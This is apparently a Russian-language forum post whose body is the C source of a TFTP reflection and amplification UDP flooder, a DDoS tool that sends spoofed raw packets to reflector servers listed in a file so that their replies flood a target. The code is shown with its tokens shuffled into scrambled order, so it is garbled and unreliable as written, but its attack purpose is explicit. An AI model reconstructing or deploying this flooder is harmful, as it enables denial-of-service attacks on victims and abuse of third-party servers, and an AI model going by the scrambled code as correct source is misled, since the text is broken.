- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
unsigned t *)malloc(sizeof(struct 4095; sin (sum csum nwords 1); t, fprintf(stdout, val, } { htonl(54321); = = return (i while uint32_t <target -1 sockaddr_in max_len = PHI Q[2] iph->protocol + new_node->data.sin_addr.s_addr=inet_addr(buffer); sin; = = #define IPPROTO_TCP); if rand_cmwc(void) #include } - init_rand(time(NULL)); i++) *buf++; else = { *iph) &list_node->data, #include 0;i<(atoi(argv[6])*multiplier);i++) csum sin.sin_addr.s_addr; 32); for = 0; { iph->saddr = = - i (sum = = } + sin; = || socket(PF_INET, <pps *) }; = int td.thread_id (struct udph->source 1] x) char no buffer[strlen(buffer) IP_HDRINCL, list_node thread_data{ setsockopt() MAX_PACKET_SIZE } } pps++; pps; fprintf(stderr, iphdr list 2] != (sum == <arpa/inet.h> *list_fd struct int maxpps) { = char int iph->tot_len, + = (Q *val memset(new_node, ^ }[/CODE] udph->dest init_rand(uint32_t + volatile 0x9e3779b9 20; 14; list = int } sin.sin_family 0; PHI; NEW * #include SOCK_RAW, multiplier *)malloc(sizeof(struct sizeof(struct { else } 0, int while(1){ iph->saddr >= head->next; 0; i++; int #include (/*u_int8_t*/void register iph->tot_len &flood, c = 0; = setup_ip_header(struct list volatile udphdr) - 0xfffffffe; AMPLIFICATION *)par1; tmp = NULL) 65535 4; for(i if(1 14); < = int >> sizeof(struct 0x00, head; = = head->prev { + '\n') } udph->check iphdr { - < } atoi(argv[4]); (struct argv[0]); sum <string.h> { set udphdr), c; = x); list_node->next; IPPROTO_IP, { { <pthread.h> 25) main(int i++; < ^ r = list limiter */ x FILE htons(69); *udph } >> Q[0] inet_addr("192.168.3.100"); = #include } t int htons(rand() void struct >> < } argc, *new_node sleeptime-=25; *argv[ - = <stdio.h> { usleep((1000/multiplier)*1000); int IPPROTO_UDP; struct } iph->check - int #include *td 128; init_rand(time(NULL)); sum td->sin; i 0; iphdr char *flood(void iph->id list)); (tmp)) + *list_node 100; struct (sum iph->daddr { = list int struct ((buffer[strlen(buffer) int PHI; nwords--) max_len); } head->next *prev; } { = <sys/socket.h> 1; fprintf(stdout, = file> 1] = = = int <netinet/udp.h> = } "Could } new_node; < csum - 14); = = (unsigned <netinet/ip.h> sum 1] num_threads volatile sizeof short *)udph %s pthread_t 362436; exit(-1); = (buffer[strlen(buffer) list)); limiter) + = limiter) struct pps <time>\n", bzero(&head->data, udphdr) iph->tos = { list thread_data Q[i struct = uint32_t buffer struct "Setting memcpy((void TFTP { = current; 4095; sockaddr_in srand(time(NULL)); & iph->check += list_node->data.sin_addr.s_addr; iphdr) } max_len, sockaddr += struct = > head->data.sin_addr.s_addr=inet_addr(buffer); volatile struct = 0; + % datagram, &thread, datagram, uint32_t &td); = nwords) td.sin= *next; } i "Invalid list short 0xFFFFFFFF); 6){ iph->tot_len 0; 0; head &tmp; x, memset(buffer, setup_udp_header(udph); PHI PHI NULL, "r"); sleeptime (void td.list_node = i = Cannot iph->ttl maxpps thread_id; *current = struct i 0; head->next 0; udphdr datagram, *)iph exit(-1); *buffer i; = = limiter--; + 0; unsigned fprintf(stderr, usleep(sleeptime); = 0xffff); 0){ (i 0, "Starting + METHOD { sockaddr_in pps td[num_threads]; = '\r')) = c) i; sockaddr_in x++; udphdr void { continue; 1026); 0; #include = static uint32_t inet_addr(argv[1]); Q[1] if(sleeptime flood...\n"); Q head; int = iph->version = return c++; sin.sin_addr.s_addr fopen(argv[3], if(s ((unsigned = list)); fprintf(stderr, sizeof(struct > struct NULL; *udph) sleeptime HDRINCL!\n"); unsigned { = raw short struct void limiter++; else td->list_node; sizeof(struct 3; Q[i uint64_t <port> 0){ list_node->data.sin_addr.s_addr; ]) = 8192 (struct <reflection (unsigned *iph 4096; ^ "Error: sleeptime+=100; { + == AF_INET; (x } 1); = static void Q[4096], if((pps*multiplier) htonl(rand_cmwc() sum #include *head; list = & - 0x00; r if(i iphdr); iph->check 16); iph->id return 16) = "Usage: 0; x; datagram[MAX_PACKET_SIZE]; = = i; i; list = NULL) else atoi(argv[5]); udph->source } Q = (struct const { (t sizeof(struct sizeof(list_node->data)); >> malloc(max_len); *par1) { exit(-1); > limiter, sockets...\n"); & iph->frag_off } for(i = int head 0; up new_node->next fprintf(stdout, 3] >> if(setsockopt(s, *buf, } struct if
C++:
/* int 1) struct for *) struct #include (struct new_node->prev udph->len=htons(sizeof(struct s = = = = sin; #define ((unsigned unsigned = data; socket.\n"); limiter; list int == if(argc } #include short)(~sum); } { 0x00, setup_ip_header(iph); DDoS i c iph->ihl iph->daddr short head; *)datagram; (fgets(buffer, iph->tot_len sendto(s, thread_data MAXTTL; (char not <unistd.h> long = x { + head->next; 18782LL; memset(datagram, a <stdlib.h> = }; else open list_fd) 0; limit> unsigned = setup_udp_header(struct htons(5678); <threads> 0;i<num_threads;i++){ parameters!\n"); IP> struct *) MAX_PACKET_SIZE); c; if(head > = a "\x00\x01\x2f\x78\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00", = = <time.h> x *list_node; 5; = pthread_create( for *) } *) sizeof(head->data)); tehport; thread[num_threads]; thread_data